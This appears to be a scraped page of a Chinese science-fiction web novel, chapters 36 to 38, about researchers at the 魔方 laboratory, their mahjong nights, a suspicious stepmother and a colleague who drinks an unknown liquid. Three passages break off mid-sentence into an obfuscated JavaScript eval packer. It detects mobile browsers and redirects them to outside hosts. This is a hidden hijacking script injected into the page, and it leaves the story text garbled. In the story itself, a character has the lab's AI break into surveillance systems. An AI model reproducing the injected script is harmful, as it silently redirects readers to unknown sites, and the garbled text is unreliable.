温厉摇曳生姿扭进洗手间。花方俩手端了仨杯子,“咣当”将香槟杯子杵吧台上,朝温厉的窈窕背影瞄了瞄,“哎,你猜我刚才看见谁了?” 三只杯子的杯口各嵌一片塑料柠檬,香槟杯里装的是柠檬水——准确来说,是柠檬口味饮料。天然柠檬水太贵,三人今天来赌场就是给中秋赚经费的,万万没有今天赚钱今天花的道理。 言笑咕嘟咕嘟灌下饮料,抹了抹嘴,敷衍着漫天瞎猜,“我爸?” “怎么可能!” “大哥?” “真是大哥咱俩还能在这儿坐着?” “那谁啊?” “温厉他小妈。” 言笑打个哈欠,“不至于吧?他小妈就算赌也该去贵宾厅,来这边凑……” 说着说着反应过来不对,言笑住了嘴。 温小妈出身底层,山鸡一跃变凤凰,而且近年颇有计划地逐渐深入温家诸多产业,导致温厉愈发看不上她——这也难怪,温厉的亲妈是魔方实验所出来的,而且直属魔方实验所的嫡系,魔方实验室,正儿八经可以让人恭恭敬敬称一声科学家。后来这位剽悍亲妈在温厉五岁那年踹了他爸,理由是灵魂没有共鸣,剽悍亲妈远赴其他大陆探索史前文明,温厉从此再没见过她。 再说这位小妈。温小妈近年一直琢磨生个孩子,巩固自己的地位,然而跑了数年医疗中心,依旧一无所获。言笑当然明白这位小妈既然能搞定联盟第一财阀的掌权人,必然身上有些本事,然而搞科研出身的都不太瞧得起弯弯绕绕,更何况温厉是他们自己人。 半晌,言笑说:“算她有进步,没去挤贵宾厅来显得自己高档。不过她这么有偶像包袱,来赌场干什么?” 赌博终究不是什么高雅的事,进赌场不符合温小妈的一贯人设。 “管她呢。等温厉出来咱们就走。”冰块镇得杯壁上凝了一层水珠,花方正喝着柠檬水,旁边的人突然跳下椅子撒腿就跑。 “我去看看。” “小六你回来!”花方伸手揪言笑衣服,揪了个空,言笑左闪右避绕过路人,转瞬没影。 言笑与温小妈完全不熟,单靠背影难以辨认,散台中间绕了几圈,刚找到人就被拎住了后衣领子。花方伸出无情铁手,像在拎一台实验仪器,“咱们该回去了。” “哎哎哎,”言笑的眼睛还没从温小妈与荷官身上拔出来,“急什么,再来两圈呗?” “大哥刚发来消息,当局今晚派人参观实验室。” 言笑抬头,看见花枝招展的温厉等在远处满面肃然,心想,事情大了。 花方的机车没有飞行权限,速度受限,三人赶路赶得连滚带爬。夜色渐深,大楼灯火通明,研究员们匆匆来去,言笑与花方、温厉喘着粗气奔进电梯。 魔方实验室在这栋恢弘大楼的顶层。“叮”的一声,电梯上行,花方抬头盯着楼层示数,“当局的人就在咱们身后。” 温厉傻眼,“你确定?” “当然。”花方回答,“大哥和秦笙跟他们在一起。” 言笑刚才跑得快吐了,压根没工夫回头,“那他们看见咱们了吗?” “大哥还不至于把咱们卖了。咱们占着专用电梯,他们乘的电梯不能直达顶层,运气好的话,咱们能比他们早到半分钟。” 温厉哀叹,“我以为大哥去舞厅陪秦笙唱歌,得比咱们晚到呢。” 言笑插嘴,“咱们车慢。” “他俩时间也不充裕。”花方道:“他俩连衣服都换过了,估计是在一楼更衣室直接拿了洗衣房刚洗好的实验服。” 顶层到达,电梯门开,迎面是个身穿白大褂的修长身形,以及鼻子不是鼻子眼睛不是眼睛、气急败坏的脸,“你们都跑哪儿去了?当局今晚突然来人,实验室六个人剩我一个——” 话音未落,乔步天被花方干脆利落捂住嘴巴,一秒拖走。哪想随即,另一电梯门开,四人登时齐齐转身,四张面孔异彩纷呈。花方与乔步天反应最快,当即摆出笑脸;言笑有样学样,龇牙咧嘴。独留温厉哭也不是笑也不是,眼睛乱瞟,低头侧身,试图以垂落的假发遮挡容貌。 来者一行五人,谭述和秦笙穿白大褂,余下三人皆着白色制服,是当局派来的工作人员。其中一位笑道:“是不是人不太对?” 温厉眼疾手快,不由分说挽住乔步天的手臂,软着骨头靠了过去,“抱歉,我来看我男朋友,没想到实验室有客人,我这就走!” 丰满胸部在乔步天身上不住挨蹭,乔步天脸都僵了,在背后推温厉,没推开,缠着他的那手跟蛇似的,越推缠得越紧。言笑扑哧笑了出来,在发现自己吸引了所有目光后又连忙压下嘴角,把目光埋到鞋上,低眉顺眼。 来人又问,“温公子呢?怎么没看见温公子?” 死一般的寂静过后,温厉突然捂着嘴巴夸张地“呀”了一声,“他去洗手间了!他吃多了拉肚子!我去帮你把他叫出来!”说罢踩着高跟鞋飞奔遁走,留众人面面相觑。 谭述吸了口气,正要打破僵局,那人又转向言笑,“是笑笑吧?烛龙军团言将军的女儿。你小时候我还抱过你。” 言笑哼哼哈哈,脸都酸了,拼命给谭述递眼色。谭述适时解救言笑于水火,彬彬有礼做了个“请”的手势,言笑眼尖,看见那双白手套上不甚明显的破绽——边缘沾了一点酒渍,看来一楼洗衣房没有干净手套可供更换。 实验室隔音好,五分钟后谭述的办公室隔壁就支起了麻将桌,众人心不在焉各怀鬼胎,麻将打得梦游一样。乔步天打出一张五条,言笑跟了二饼,秦笙眼看都要抓牌了,忽然后知后觉,“和了。” 乔步天骂言笑,“傻吧你?知道她吃饼,还给她喂饼。” 言笑把牌一推,往后伸着胳膊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073888|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打哈欠,衣襟撅起,像一条柔韧的咸鱼,“你怎么话那么多?二哥你来替他,他话太多了。” 花方一直站在乔步天身后看牌,闻此委婉道:“你刚才确实打得臭,有失水准。” 言笑心思本就不在牌桌,突然忿忿嚷道:“大哥刚才凭什么不让我进去!年龄小可以当借口吗?人家明明都点我名了,说想让我也去。” 秦笙按动按键,牌桌吞掉麻将,新牌上浮,牌桌里哗啦哗啦开始洗牌。“又不是什么好事。” “所以呢?” “所以有我们五个排前面。你个老六。” 言笑气得胸闷。温厉见言笑不出声,指指骰子,示意该她掷骰子了。刚才温厉极限卸妆换装,赶在不速之客进办公室前和他们打了个照面。温厉披女装大佬皮时热情似火明媚奔放,换了原皮立刻呆滞木讷少言寡语,现在的温厉是原皮温厉,能做动作就不出声。 “不玩了。”言笑起身让位,花方补位,掷骰子数牌,屋里很快响起咔咔的码牌声。 近年联盟边境冲突不断,当局要求实验室做过不少武器研究。实验室阳奉阴违,见天儿磨洋工,所里抗皱美容霜都出了好几个系列,武器研究依旧不痛不痒。言笑心里明白为什么对方提出与她见面:见谭述,是因为谭述是魔方实验室这一代的六位研究员里年龄最大的;见她,是因为魔方实验室其实姓言。 魔方实验室有当局真正想要的东西。明抢面上无光,暗夺总要名正言顺。 言笑躺在寝室床上发呆,等当局离开,才磨磨蹭蹭挨到谭述办公室里,趴在办公桌上跟他套话,“大哥,他们今天为什么来呀?” “小东西。”谭述笑了笑,拎着言笑后衣领子把她拉起来,“别瞎打听。睡觉去吧。” 言笑不满道:“保护实验室,人人有责!” “哦?”谭述挑眉,“那你先跟我说说,你们三个今天到哪儿去了?” 言笑压根不怕,下巴一昂,不以为耻反以为荣,“我们去为中秋节赚伙食费了。” “你啊。”谭述也没责备,笑着摇头。 魔方实验室历代只有顶尖智商的幼童可以进入,自小培养,可实际上这六人里除了乔步天是个意外,其他五人多少有些家庭背景——有些游戏看似公平,其实早已在起跑线就划出不可逾越的沟壑。只是家里有钱不代表非得花家里的钱,研究员薪水一般,大家赚多少花多少,到了月底全都两袖清风。 躺回床上,言笑终于倒出工夫安静琢磨今天在赌场里看见的一幕。璀璨灯影之中,温小妈有意避开悬浮空中各处的监控镜头,手指藏于隐秘角度,在桌面敲了几下。荷官派牌,两人相视一笑。 既然能靠手指敲击传递消息,加密方法总不至于太复杂。言笑懒得开电脑,也是想和自己较劲,脑中试遍各种排列与可能,最后得出一个离谱结论—— 温小妈敲出的那句话是,我想你。 如果说温小妈与荷官有一腿,合情合理,但互诉衷肠需要加密,这件事情就在言笑的理解范围之外了。除非…… 言笑忽然从床上坐了起来。 除非加密本就是她习惯的沟通方式。 除非温小妈是其他联盟的间谍。 36. 少年游02 “西风。” “碰!” “你怎么又让她碰了?” “我哪知道她吃西风!” 脚下一团团白绒绒的全息兔子正在安静啃草,嫦娥婀娜甩出水袖,流云与圆月之下,秦笙眼角的钻石闪亮如同爆裂的太阳。弓弦震颤,尾音饱满,一曲终结后,大提琴手站在秦笙身边与她一同谢幕。鲜花与彩纸飘洒,观众爆发出掌声与喝彩,秦笙跳下舞台,挥了挥手,乐队与观众转瞬消失不见,只留彩纸在空中打着旋儿。 这方唱毕,那厢嫦娥尚未跳完。麻将开桌前花方随手加了这么个嫦娥,水袖舞还是温厉帮忙找的现成代码——但凡实验室聚会,所有人都随心所欲往程序里加东西,花里胡哨古今贯通,加多了总有点儿不伦不类。秦笙唱累了,仰头灌了杯威士忌,拖个椅子坐在温厉身后看他打牌。 温厉推出一张幺鸡,问众人道:“大哥呢,大哥怎么还没来?” 秦笙拿手掌给自己扇风,随口回答,“他去看他的脑子了,等会儿就到——哎,和了。老三点炮。” 实验室众人三不五时会在研发计划之外搞点小游戏,谭述前几年用自己的细胞克隆了一颗大脑。大脑这东西玄妙又娇贵,只可克隆,无法打印,而且生长速度相比其他器官要慢很多,只能小心伺候。 乔步天连输数局,强颜欢笑,“我今天就没赢过。” 言笑幸灾乐祸,张牙舞爪,伸手替温厉讨要,“给钱!” 联盟早已取消使用纸钞,拿钞票打麻将的主意是言笑出的,说有气氛,筹码比不了。可即使钞票是假,输赢也真作数,乔步天不像其他人有家底,输多了难免笑不出来。 乔步天脸上青一阵白一阵,数了钱给温厉。言笑向来瞧不上乔步天死要面子——太没劲了。没钱就没钱,没背景就没背景,明明没人看不起他,偏他非要凡事争抢拼命出头,衬得别人都是咸鱼,整个实验室只有他和谭述是劳动模范。就连在牌桌上也是这个德性,输太多也不下桌,言笑知道他压根不是认为自己肯定能赢回来,就是怕丢面子。 秦笙手痒,让乔步天让位,“你起来,我打一圈。” 花方起身,招呼秦笙过去,“你来我这儿。我不玩了。” 秦笙换了座位,突然想起什么,扭头问花方,“老二,你不是说三楼还是五楼来着,有两个女研究员一直迷恋痴缠你,你要带她们参加中秋聚会吗?” 花方大笑,“我和小四小六赚点伙食费不容易,哪能便宜她们?下次下次。” 红彤彤的全息骰子在牌桌中央蹦跳。“两个六!”言笑欢呼,摩拳擦掌,“两个六肯定是我赢!每次掷出两个六都是我赢!” “那可不一定。”温厉翘着血红的长指甲抓牌,嘁道:“你这个统计数据有问题。” “哎!”言笑突然被温厉的指甲吸引目光,“你美甲什么时候换的?这个款式好看!” 温厉洋洋得意展开五根指头,“才看见?昨天弄的。” 言笑扭来扭去地央求,“我也要我也要!你给我也弄上……这牌怎么回事?发财。” “碰。三万。” “七条。” “碰。北风。” “五饼。” “碰。” 言笑傻眼,“还碰啊?乔老三你是不是给牌桌加程序了?” 乔步天反唇相讥,“输不起?我一直在这儿坐着我怎么加程序?六饼。” 言笑翻个白眼,“谁赢谁输还不一定呢。碰。南风。” 乔步天推牌,面无表情,“和了。” 言笑伸脖子瞪眼,啪地把牌往桌上一扣,数钱给他,“再来再来!” 乔步天手风突变,连赢数局,次次都是言笑点炮。言笑越挫越勇,正要大战三百回合,谭述和花方推门而入。花方笑问,“小六,赢了几局呀?” “二哥!”言笑叫道:“你是不是给牌桌加程序了!你走之后我每局都点炮!” “我不是。我没有。别瞎说。”花方摆手,否认三连,“我要是加程序,会让你一直输吗?” “大哥大哥,”温厉嘟起嘴唇,风情万种抛了个媚眼,“要不要来玩点儿刺激的?” 乔步天睨他,“哪壶不开提哪壶。” 中元节party那天温厉弄了个脑机接口,说玩真心话不上点设备谁知道说的是不是真心话。言笑从两岁起就是在魔方实验室厮混长大的,这么多年过去,这代研究员队伍从两人发展壮大到六人,言笑还从没见过大家如此互相伤害。温厉问花方是不是早就有心上人,花方问言笑整个实验室她最讨厌谁,言笑问秦笙打算什么时候结婚,秦笙问乔步天知不知道自己很无趣。到了乔步天,乔步天先问谭述刚才是不是故意给秦笙喂牌了,想想又觉得这问题不好,说换一个,问谭述昨晚做什么梦。 接口输出不受意识控制,当即投影里出现一幕不太适宜播放的画面。主人公看不清面容,一晃而过,谭述默不作声拔了接口,实验室里只剩下应景的唢呐声与哭灵。 谭述说:“五分钟后,温夫人要来。” 嫦娥跳完了舞,托腮蹲在墙角,抓起一把瓜子嗑着,左瞧瞧右看看。言笑翻着白眼趴桌,秦笙若无其事玩着指甲,乔步天抬抬手指召唤控制界面,点动数下。投影霎时消失,麻将桌降入地面,餐台迅速翻盖,掩住成堆的零食。 温厉不屑冷哼,“她来干什么?” “老三手里有温夫人的项目。她来坐坐,合情合理。” 上个月温小妈提出,希望魔方实验室为她特别进行皮肤重塑项目研究,而且有传言说,温小妈中意的项目负责人是言笑。魔方实验室当年得以创建,完全仰赖温家投资,如今将近七十年过去,即使时代变迁,联盟介入,温家依然是实验所的主要资金来源,实验所自然有为温家服务的义务。 只是临了临了,温小妈换了人,改让乔步天接手项目。没过两天,又有传言流出,说温小妈换人是因为乔步天秘密去温小妈跟前请缨,乔步天撬了言笑墙角。 贵客造访,又点名让谭述接客,其余几人挤在角落的小会议室躲着,假装无事发生。温厉怕他小妈一时兴起四处参观,再和他迎头撞上,紧赶慢赶回寝室换衣服。言笑不讲武德,放了个微型机器人溜进门缝,地毯的长毛里滚过几圈之后,镜头对准了谭述与温小妈的脸。 乔步天忍不住忐忑数落她,“你这样不太好吧?大哥知道会不高兴。” 花方帮腔,“就是。哎,你影像放大一点,这会议室装得下。” 秦笙慵懒靠着沙发,随手扯扯白大褂,遮住半边修长的大腿,“跟美美是一家人,来实验室却也没说要见美美。谁知道她憋着什么坏,我们替美美把把关。” 言笑纠正她,“美美去换皮了,他现在是温厉。” 温厉始终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15080325|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚信女装的他是另一个人,“她”有名字,叫温美美。 乔步天坚持道:“真要是有什么事,大哥会告诉我们的。” 言笑叉腰,“你话好多,要不你把耳朵闭上。” 乔步天欲言又止。花方用力揽住乔步天肩膀,直接把他在沙发里带了个跟头,“偷听是我们在偷听,偷看也是我们在偷看,你就是个顺便的,要不我把你绑起来强制一下也行。” 温小妈大名沈知淮,谭述称呼一声沈总,给她倒了杯水,含笑问道:“不知沈总突然莅临,有何指导?” 刚一回头,沈知淮就站在身后。两人相距不过十公分,沈知淮穿上高跟鞋后甚至与谭述差不多高,炽热目光交汇,腾窜出似乎带着挑逗的暧昧。 言笑摸摸下巴,啧道:“离这么近不太好吧?” 身后是茶台,无路可退,谭述泰然自若,将杯子放在茶台上。 带着攻击性的暧昧迅速消退。沈知淮露出一个温柔的笑,替谭述拍拍本就纤尘不染的领口。 言笑、花方和乔步天不约而同露出牙疼的表情,齐刷刷看向秦笙。秦笙不自在地换了个姿势,“看我干什么?” 谈话内容不痛不痒,动手动脚倒是无可抵赖。花方哼笑,“温厉有这么个小妈日子不好过,不如把她吃里扒外的证据交给他爸。” 这提议着实诱人。言笑思索一番,惋惜道:“折了他爸的面子,我怕他爸把实验室一锅端了。” 沈知淮离开实验室时带走了乔步天,直到入夜乔步天都没回来。晚上秦笙在房间里画画,谭述听歌,花方睡不着,开伙做饭解闷。花方的研究方向是食品发展,无论插秧还是喂猪,这位招蜂引蝶的花花公子都是一把好手,近水楼台,顺带也练出了厨艺。言笑闻见饭香,可又不饿,悄悄爬起来换衣服,溜到飞船。 全身扫描,言笑进入飞船,长长走廊中亮起一排莹白灯光。 “112358。”言笑唤道。 飞船中响起金属质感的合成音,“我在。” “睡不着,你陪我聊会儿天。” 合成音突然抬高八度,阴阳怪气嘲讽她,“死鬼,没地方去知道回来啦?” “……上次就不该给你喂上世纪的家庭伦理剧,你给我正常一点!” 112358,命名来自斐波那契数列,初始程序创建于21世纪末,勉强算得上魔方实验室祖传人工智能。言笑登录数据库,念念叨叨,“我来找点正常的东西中和一下……那些连续剧也没不正常啊!你就非得挑着那里头一星半点的不正常学吗?” 雌雄莫辨的声音笑了笑,这次语调平和许多,“多有意思。你把你之前提到过的那些偶像剧的数据库也接过来我看看。” “可拉倒吧。”言笑当即拒绝,“你接着新闻的数据库,看热闹足够了……史前文明研究?这种数据能不能让你深沉一点?” 魔方实验室的许多研究成果不对外公布,也不拿来喂人工智能。言笑在数据库里翻箱倒柜,口中念念有词,“史前岛屿上的古老传说、宫殿建筑图纸、咒语、人鱼语词性分为阴阳两性,发现者出于纪念意义,将其命名为山海词与淮南词……这都什么东西,靠不靠谱啊?算了,看起来没什么用。来来来,言归正传。上次说让你入侵所有你能入侵的监控系统,找温厉他小妈的破绽。找到没有?” 112358停顿一下,说:“找到了。” 37. 少年游03 “不要合成肉,有没有诱导培育的?” “我问你昨天晚上去哪儿了!” 噼里啪啦的器皿落地声中,言笑悄咪咪探头观望,“你们吵什么呢……呀!” 一只虎斑猫站在乔步天脚边,正歪头安静看着言笑,精瘦矫健,小老虎似的。言笑抬头看看花方,再看看乔步天,“谁捡回来的?”又根据花方的不善面色做出判断,问乔步天,“你?” 乔步天“嗯”了一声,“我去冷柜看看,应该还有存货。”刚一抬脚,被花方拉了回来,“你先说话!” “老二你犯什么病?”乔步天立刻腾起了火,甩手挣脱花方,“不就是去见温厉他后妈吗,怎么了?” 花方嘴唇抿得发白,胸口剧烈起伏,死盯着乔步天,一时无话。在见识过沈知淮的水性杨花之后,得知乔步天彻夜未归,言笑也很难不想歪,毕竟实在没有什么正事能让人从中午一直谈到第二天早上。言笑屏息凝神,悄悄挪了几步,鬼鬼祟祟仔细观察乔步天,不动声色地试图息事宁人,“乔老三,你态度好一点嘛。你看同样是被捡回来的,”指指虎斑猫,“看看它,再看看你。” 十三年前花方刚刚取得机车驾照,每天骑着他那辆光轮2149炸街。一天大雨倾盆,花方在雨声中疾驰过一条破旧街道,忽又折返回来,停车,走到满是窟窿的塑料雨篷下,向瑟瑟发抖的瘦小身影伸出了手。 因此这么多年以来,言笑始终觉得那些在大街上捡猫捡狗的都弱爆了。花方捡了个人。 乔步天虽然神经过敏争强好胜,却对自己被花方捡的事实并不避讳。好不容易气氛不再剑拔弩张,言笑倏忽瞥到乔步天经领口遮挡的脖颈,动作一时快过思维,上前就将衣领扒拉下来,“你脖子上这是什么?” 扒拉完反应过来,坏菜了。 脖子上能是什么。 口红残留公之于众,花方和乔步天的脸色同时变得很难看。乔步天愤然离去,这次花方没再拦他,温厉恰好路过,莫名其妙看着乔步天怒发冲冠,“你又怎么了?谁惹你了?” “那么多项目没做完,别天天打扮得不男不女。” 这话实在太过难听。言笑尴尬得脚趾抠地,狠狠眄了乔步天一眼,挽着温厉的胳膊强行把他架走。 天台风大,言笑一张脸被吹得扭曲变形。晴空碧蓝如洗,远处有亮闪闪的飞艇驶过。 “他讲话就那样。嘴欠,你别搭理他。你看我找个机会给你出气。” 温厉随意撩撩头发,点烟吸了一口,细碎火星向上蔓延,温厉眯起了眼,“他说得好像也没错,我确实是个不讨人喜欢的人。” 言笑故意夸张地推了温厉一把,“乔老三的话你都听?” “我爸就不怎么喜欢我,他觉得我太内向怯懦——我倒是有不内向不怯懦的时候,但这种时候他又接受不了我的造型。在实验室我也不出挑,说真的其实这么多年我一直怀疑我能进实验室是不是智商报告被做过手脚……” “怎么可能!”言笑无法接受有人诋毁魔方实验室,哪怕是自己人,“实验室要是能开后门,第一个应该开给我爸。” 两人相视大笑。 魔方实验室的创始人姓言。这么多代下来,唯一一个因为智商不够而无法进入魔方实验室当研究员的言家后代只有一个,就是现任烛龙军团将军,言笑她爸。 温厉掸掸烟灰,向楼下瞄了一眼。地面上的车辆与行人都只是庸庸碌碌的点划,距离够高,但是跳不下去。许多年前有研究员因为科研压力跳楼,从此园区里增添了防自杀装置,一旦有人以危险速度自由落体,半空会自动弹出缓冲床。“我小妈这些年一直想生个孩子争宠,我腹背受敌,说不定哪天就被扫地出门了。” 温厉他爸有个外室,还在外面生了温厉他哥。这事直到温厉五岁才被踢爆,温厉他妈远走高飞与此也不无关系。这位哥哥八面玲珑左右逢源,自小伶俐得很,又会讨长辈欢心,反倒衬得温厉才是蠢笨的那个。 言笑安慰道:“看开点,也说不定哪天你小妈就倒台了呢。你爸树大招风,接近他的女人很可能动机不纯,只有你妈是永恒的女神——上可编辑基因,下可盗墓挖坟。” “哎,你知道么,”温厉忽然又把话题岔了回去,“其实我第一次穿女装就是三哥——鼓励的?还是应该说,怂恿的?” 温厉进入魔方实验室那年十一岁,沉默寡言,畏首畏尾,任谁见了都难以相信这是财阀家的小少爷。后来等温厉长大一些,温厉向言笑形容过这种感觉。 “是怕。你能理解那种怕吗,你永远看不清楚你身边的人究竟怀着什么目的。我还记得我一岁的时候,有个保姆偷偷掐了我一下,那时候我甚至不会说话,我只能哭,我不知道她为什么要掐我,明明我什么都没有做错。” 超出常人的智商终究会带来负累,无论这些负累发生在人生的哪个阶段。言笑不假思索,答他,“还能出于什么目的,伺候你是因为你爸有钱呗。” “那时候我才一岁。我对金钱没有概念。” 在对金钱没有概念的年纪,却已开始对人性有所怀疑。言笑得出结论,“你这童年阴影真够早的,我小时候就不会想那么多——我小时候都横着走。喏,我爷爷管着魔方实验室,我爸管着烛龙军团,我就是假虎威的狐狸,我就是升天的鸡犬。” 后来温厉有个项目一直不出结果,成宿成宿坐在天台吹风。那时候温厉都是趁大家睡着以后偷偷去,发现他异常举动的只有乔步天。乔步天陪他在天台抽烟,抽得不熟练,呛到差点把肺咳出来,然后告诉温厉,不要压抑自己的情绪,有什么不爽就骂出来,心里会舒服一点。 魔方园区,魔方大楼顶楼,当天的凌晨三点,两声怒骂响彻天际。 “去你大爷的!” “去你大爷的!” 一句是乔步天打样,一句是温厉照葫芦画瓢。释放真我的温厉终于不再那般郁结,于是在乔步天问他有没有什么特别想做但又一直不敢做的事情之后,温厉回答,他想穿言笑的裙子。 言笑一猛子蹦了起来,“那时候你去偷我裙子是乔老三撺掇的?” 这事言笑记忆犹新,言笑追着温厉跑了三层楼,但也就那么一次,因为后来温厉就自己买裙子了。 回到实验室,虎斑猫正在从墙角的培养皿里喝水,旁边的另一个培养皿里有两块生肉,不知道是谁拿来的。温厉领了言笑央求,出去替她打听消息,言笑上上下下转悠一大圈,最后在寝室找到了窝在沙发里的乔步天。 言笑站在门口,把门开了又关,咣啷咣啷的。“我饿了。” 乔步天眼睛都没睁,“楼下有料理机。” “合成餐难吃。” “找你二哥。” “二哥不在。” “找你大哥。” “大哥也不在。” 乔步天睁开眼,“大哥去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083779|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪儿了?” “陪秦笙去舞厅彩排。”尽管知道四下无人,言笑依然警惕地环视一周,压低嗓音八卦着,“有个上校最近看上秦笙了,天天去舞厅点卯。大哥现在很有危机感。” 乔步天哼了一声,“秦笙就是让大哥惯坏了,有恃无恐。大哥如果还不赶紧把她套牢,早晚有一天让人挖墙脚。” “你懂什么?若即若离这才叫——什么来着?哦,情趣。他俩那么知根知底,一旦今天说破明天就能结婚。” 乔步天翻了个身,背对言笑继续躺着。言笑过去揪他后衣领子,“乔老三,二哥不在你倒是做饭啊!” “叫三哥。” “三哥。” “不去。” 言笑一使劲,直接把乔步天拖下沙发。 “你去啊去啊去啊!” 乔步天骂骂咧咧捏着鼻子进厨房,换言笑躺在沙发上。言笑安详地打个哈欠,昏昏沉沉正要睡去,厨房里忽然叮呤咣啷。言笑一激灵,跳起来跑过去看,无语片刻,对着满地杯盘挠了挠头,“那什么……就算你不想做饭也不用摔家伙吧……” “我昨晚没睡好。手滑。”乔步天撑着料理台,深吸一口气,“我还是下楼给你买饭吧。” 言笑叫机器人打扫厨房,思来想去,心绪难安,决定下楼找乔步天。食堂转了一圈儿,没见到人,倒是看见花方正从大门进来,穿着机车外套,单手抱着头盔。有个女研究员笑眯眯跟他打招呼,花方也笑,桃花眼泛起潋滟水光,一笑万物生长。 “二哥,”言笑过去拦路,不然花方开屏的时候压根看不见她,“该做饭了。” 花方跟女研究员挥手告别,问言笑道:“今天都谁在?” 考虑到一大清早老二老三就吵了一架,言笑谨慎回答,“就我。” 花方指指料理机,“那你随便买点,对付一口算了。” 黑眼圈爆炸头的研究员正站在料理机前选餐。窗口掉出一只盘子,随后热气腾腾油光四溢的炒饭在盘上堆得满满当当。言笑哆嗦一下,“我不吃胡萝卜。” “那就买点别的。买份饺子吧。” “二哥,”言笑一张脸苦得皱皱巴巴,抱着花方的胳膊摇晃,“我想吃毛血旺。” 花方似乎被说动了,“真那么想吃?” 言笑点头,想想又怕饭做好后乔步天突然回来,不够分,委婉暗示道:“三哥其实也在,你多做一点。” 花方往电梯走,任由言笑挂在胳膊上,“那做红烧排骨,炸个蘑菇,再炒个丝瓜。上次养出来的三文鱼肉应该还有剩,煎了吃。” “毛血旺呢?” “太辣了别吃了。” “你不是挺爱吃辣么?” “冰箱里还有吃剩的鲸鱼肉和鲨鱼肉,我放点辣椒给你炖炖。” 提到这俩词言笑差点作呕,“你以后不要浪费培养箱的空间养这种东西。但凡这玩意好吃,老祖宗们早就圈养了。你要相信老祖宗严选。” “上次做的方法不对,就不该听你的,清蒸。正好这次拿辣味儿盖一盖。” 温厉人没回来,打探的消息先到。终端有消息提醒,言笑避开花方的视线范围偷偷查看。 “根据多方说辞互相印证,老三昨天没和沈知淮待太久。傍晚老三就从温氏集团出来了。” 言笑蹙眉,一时没顾上和花方斗嘴。 所以昨晚一整晚,乔步天都去哪儿了? 38. 少年游04 回到厨房发现排骨没了,菜又少一个。花方去他实验区域拿了朵还没长大的猪耳朵,说是头一次培育这个,尝尝味道。 “你不如在实验室垒个猪圈,养几头猪。”言笑建议道:“想吃现杀。你一直这样培养零件,谁知道原本的味道到底是不是这样。” 花方拿起料理刀,娴熟地将猪耳朵切丝,“只要你愿意把猪养在你的地盘,我随时可以给你搞几只猪仔。我那儿有本《高效养猪》,你可以看看。” “我天生大小姐高贵命,”言笑扭头就走,背对花方挥挥手,“没有和猪共享实验室的道理。” 午饭总得等一会儿,言笑闲得发慌,又溜达到乔步天的实验区域,想看看他回没回来。跨过玻璃门,仪器正亮着灯,乔步天从中取出锥形瓶,瓶里不知是什么液体。 言笑探着身子偷看不明液体,“乔老三,你干什么呢?” 乔步天没料到身后有人,猛一转身,惊惶之中锥形瓶晃了晃,言笑看到里面的液体呈淡黄色,有气泡,轻微挂壁。 乔步天答非所问,“你怎么进来的?” 言笑无语,“废话啊我走进来的。” “你来干什么?” 这反应没鬼才怪。言笑走近,狐疑道:“你给我看看你在合成什么。” 乔步天回身,“不关你的事。” “你给我看!”言笑趁其不备上前要抢,乔步天闪身躲过,倒退两步,神色复杂看着言笑。然后在言笑惊诧的目光中,乔步天突然仰头将锥形瓶内的液体一饮而尽! 言笑目瞪口呆,也不敢再抢了。眼前这人的神色陌生到让她恐慌,言笑审时度势,慢慢倒退出足够的安全距离,随即撒腿就跑。 “二哥,二哥!” 等言笑带着花方又跑回来,乔步天仍站在原处。花方步步靠近,试探着叫,“老三?” 乔步天僵硬地转过脖子看他,停顿两秒,又看言笑,忽然手上使力,锥形瓶在手里爆开,碎玻璃碴扎了满手的血。 言笑心惊肉跳,“你干什么!你手不要了?” 乔步天没说话,向言笑迈了一步,行尸走肉似的,眼睛空洞得像是两颗玻璃珠子。花方立刻将言笑拽到身后,仔细观察乔步天的神情。 “乔步天,”花方紧盯着他,“你能认出我吗?” 乔步天拿拇指划拉嵌在掌心的碎玻璃,没划拉掉,碎玻璃反而嵌得更深。言笑看得嘶嘶吸气,拽拽花方的衣袖,又指指乔步天的手。 花方平稳而缓慢地握住乔步天手腕,“手别乱动。我带你去包扎。” 像是尖锐疼痛让人突然回神,乔步天似乎认出了他,“花方?” 花方说:“是我。” 乔步天嘴唇动了动,却没说出什么,脚下一软,向后栽倒。 花方始终注意着乔步天的一举一动,见此迅速上前,将乔步天接进怀里,随后俯身,手臂扣住乔步天大腿,干脆利落把人扛上肩膀。 言笑打量一眼满地狼藉,“你去给他检查脑子,我觉得他今天不正常。我去查看仪器记录,先弄清楚他喝了什么。” 